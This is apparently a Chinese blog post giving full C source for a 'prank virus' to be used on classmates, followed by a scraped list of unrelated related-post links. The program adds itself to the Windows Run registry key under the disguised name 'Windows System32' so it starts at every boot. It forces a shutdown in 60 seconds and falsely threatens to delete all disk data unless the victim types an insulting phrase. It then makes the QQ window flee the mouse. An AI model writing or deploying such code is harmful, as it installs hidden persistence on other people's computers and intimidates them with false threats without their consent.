该程序会被安全系统认为是木马并隔离,只适用于和同学开玩笑

该病毒功能包括3部分

1,添加到注册表,开机自启。

2,运行后60秒关机,除非输入指令。

3,让对方QQ躲避对方鼠标30次

#define _CRT_SECURE_NO_DEPRECATE
#include<string.h>//strcmp的库函数
#include<stdio.h>
#include<windows.h>//Windows系统的接口winAPI
#include<time.h>//生成随机数
#include<stdlib.h>//system的库函数,等
//在项目,属性中修改配置属性的字符集为多字节字符集
int main()
{
    char cxlujin[100];//定义个数组存放程序的地址
    GetModuleFileName(NULL, cxlujin, sizeof(cxlujin));//查询程序地址(放到cxlujin )
 
    char s[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//定义字符串为注册表开机自启的路径
    HKEY hkey;//定义一个注册表的类
    RegOpenKey(HKEY_CURRENT_USER, s, &hkey);//打开注册表(打开该注册表,按cxlujin路径,保存到hkey)
    RegSetValueEx(hkey,"Windows System32", 0, REG_SZ,
        (unsigned char*)cxlujin, 250);

//设置注册表(设置那个注册表,修改该注册表名称,0,注册表类型 ,(强制转换)程序路径,大小)
    
    char mima[20] = { 0 };
    printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学{{|└(>o< )┘|}}\n植入了病毒!!!\n");//给对方造成心理压力
    printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!\n");
    while (1)//对方输错可以继续输入
    {
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");//警告
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
        system("shutdown -s -t 60");//system可以对系统进行操作,shutdown是windows的关机指令-s-t是延时设置
        printf("重要的事情我说了5遍!(▼皿▼#)\n害怕吧\n不知所措吧\n忙着关闭电源吧\n");//提示
        printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学\n");
        printf("给了你一个拯救你电脑的机会(●—●)\n");
        printf("你只需要输入一句简简单单的话\n就可以挽救着一切\n立即输入(目光看向这里╰(‵□′)╯ )\n我是傻逼小涵牛逼\n否则就等着你的电脑关机并删掉你所有的数据吧\n啊哈哈哈哈哈\n一切取决与你 ,你还有不到60秒\n");
        scanf("%s", mima);//数组不用取地址符
        if (strcmp(mima,"我是傻逼小涵牛逼") == 0)//判断是否正确输入
        {
            printf("输入正确\n");//正确反馈
            break;//跳出循环
        }

}
    system("shutdown -a");//同上微软取消关机指令
    printf("很好,你诚恳的态度得到了小涵同学的认可,所以他放过了你\n");//反馈

int i = 1;

srand((unsigned int)time(NULL));//随机数总值

HWND qqhwnd;// 定义一个窗口句柄

qqhwnd = FindWindow("TXGuiFoundation", "QQ");//寻找窗口句柄,使用类名称和标题

POINT pt;//定义一个点

RECT rect;//定义一个矩形

while (i <= 30)//多次调戏

{

GetCursorPos(&pt);//获取光标点(位置)放到pt中

GetWindowRect(qqhwnd, &rect); //qq窗口的坐标保存到rect

if (pt.x >= rect.left && pt.x <= rect.right &&

pt.y >= rect.top && pt.y <= rect.bottom)//判断光标是否在qq窗口中

{

MoveWindow(qqhwnd, //移动那个窗口

rand() % 1520, rand() % 680,      //移动到哪里去    //屏幕1920*1080//1920-300=1620//

400, 400,        //窗口大小

true);           //是否刷新
            i++;

}

}

printf("结束");
    return 0;

}

恶作剧病毒集大成最终版(无危害)相关推荐

  1. RETAS HD更新2009年最终版四模块集成安装包

    RETAS HD更新2009年最终版四模块集成安装包 RETAS!PRO HD 系列是在1993年发布的一套完整的数码动画制作工具,它取代了原先手工制作的塞璐璐与胶片,仅在一台个人电脑上就实现了动画制 ...

  2. 【最终版】PyQt5 自定义标题栏,实现无边框,最小化最大化关闭事件,窗口拖动移动,窗口改变大小,仿百度网盘色调美化,添加内容窗口

    [最终版]PyQt5 自定义标题栏,实现无边框,最小化最大化关闭事件,窗口拖动移动,窗口改变大小,仿百度网盘色调美化,添加内容窗口 文章目录 [最终版]PyQt5 自定义标题栏,实现无边框,最小化最大 ...

  3. 版本 3.1(最终版)

    1 Java™ Servlet 规范 版本 3.1(最终版) Shing Wai Chan Rajiv Mordani [作者] 穆茂强 张开涛 [译者] 2012 年 6 月翻译 2013 年 7 ...

  4. Marvell 88nv1120开卡方法集大成之作,附开卡工具

    Marvell 88nv1120开卡方法集大成之作,附开卡工具,直接上干货! 1.只针对开海力士16nm tlc的教程,别的我没有开过 2.除了jm20329的桥之外,vl711也亲测可用 3.如果是 ...

  5. 你好,offer(最终版)

    你好,offer(最终版) 计算机网络 osi七层模型:物联网叔会试用 物理层 链路层 网络层 传输层 会话层 表示层 应用层 五层协议 UDP相关 TCP相关 TCP的三从握手和四次挥手 三次握手 ...

  6. 计算机强制关机原理,解决PC常见问题 篇十六:究竟如何关机才是正确的姿势---关于“按电源键强制关机对硬件无危害”的...

    解决PC常见问题 篇十六:究竟如何关机才是正确的姿势---关于"按电源键强制关机对硬件无危害"的 2020-08-10 10:21:40 36点赞 186收藏 64评论 本文背景 ...

  7. Becky!经典使用问题集(0516版)

    这回改版连主页面都没啦,趁这会儿还算闲着,把以前下载的经典问答贴出来吧. Becky!经典使用问题集(0516版) ★★最强邮件程序becky问题集★★ 原创 by newaa2002@hotmail ...

  8. 数据标注、模型调参debug...通通自动化!华为云AI开发集大成之作ModelArts 2.0发布...

    乾明 发自 凹非寺  量子位 报道 | 公众号 QbitAI 福音.AI开发门槛现在更低. 不用你编码,甚至无需AI开发经验. 如今你所需所做:只需标注一小部分数据,然后它就会帮你标注剩下数据,并且自 ...

  9. 驱动精灵 v9.61 去广告最终版绿色清爽单文件

    驱动精灵,驱动研究专注不怠,只为解决驱动问题!驱动精灵是集驱动管理和硬件检测于一体.专业级的驱动管理维护工具.它提供驱动备份.恢复.安装.删除.在线更新等实用功能.驱动精灵秉承驱动之家十余年积累,硬件 ...

最新文章

  1. 观察者模式(Observer Pattern)(二):HeadFirst中的气象站的实现
  2. 盛大游戏卷入“沙巴克”商标之争
  3. opencv-python之机器视觉
  4. centos 配置php开发环境变量配置,CentOS中配置PHP和Nginx环境变量
  5. javax.naming.NamingException: Cannot load JDBC driver class 'com.mysql.jdbc.Driver'
  6. 机房合作(一):我怎样做组长(敢于承担责任)
  7. opencv中匹配点对的坐标提取
  8. JAVA和C++内部类
  9. 将内容引用到其他栏目
  10. 【AI专利】中国成为全球AI专利第二大提交国,微软AI专利数比你论文字数都多...
  11. python全免费教程-python教程免费
  12. 拓端tecdat|R语言POT超阈值模型在洪水风险频率分析中的应用研究
  13. Unity 3D 游戏引擎
  14. Testbed软件下载安装使用试用
  15. Softing过程自动化解决方案——助力数字化工业
  16. 值得关注的5款“企业级低代码开发平台”推荐
  17. 更新windwos ltsc winserver2019可以使用的wsl1 debian映像到debian 10.4
  18. 分析google adsence
  19. 陆奇万字长文,讲透企业数字化转型!
  20. CSP2021提高组游记

热门文章

  1. 我的创作纪念日-从写作到阿里云专家博主的故事
  2. 冯唐:在江湖上混需要养成的10个好习惯
  3. JAVA项目实战开发电商项目案例(八)购物车功能开发
  4. Android studio 关于页面跳转问题
  5. 微信小程序-iphone打开页面空白,报错Miniprogramerror Syntaxerror...
  6. 计算机组成原理算术逻辑实验,《计算机组成原理》算术逻辑运算实验报告.doc...
  7. docker network create: conflicts with network
  8. [Vulnhub]Momentum2
  9. cssci和核心期刊的区别
  10. IntelliJ IDEA中的神仙插件(写代码必备)